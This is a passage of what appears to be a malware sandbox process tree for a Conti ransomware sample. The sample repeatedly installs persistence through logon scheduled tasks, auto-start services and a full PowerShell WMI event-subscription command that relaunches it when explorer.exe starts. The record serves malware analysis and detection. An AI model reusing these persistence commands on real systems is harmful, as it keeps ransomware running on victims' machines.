        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:5380
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:5976
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:10348
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:12880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:9984
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12724
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:13024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:13132
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:13908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:15064
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:13896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:13752
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:20348
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:14568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:14804
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:12788
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:13860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:15128
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:3312
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:4992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:19280
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:5096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:2444
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:5336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:4552
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3156
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:6020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:7304
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:5992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:10464
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:10496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:6176
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:11948
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:10716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:10596
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:10996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:11212
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:12204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:14356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:15816
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:12792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:13396
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:12480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:4080
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:19108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:20396
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:8484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:6784
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4652
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:11588
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:6728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:6216
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:6820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:6792
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:7568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:7856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:8052
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:8372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:7068
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:9760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:9608
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:6276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:10740
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:11024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:11124
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:11888
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:12800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:12940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:12764
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:11956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:12336
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:12900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:4740
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:11444
- - C:\Windows\system32\cmd.exe
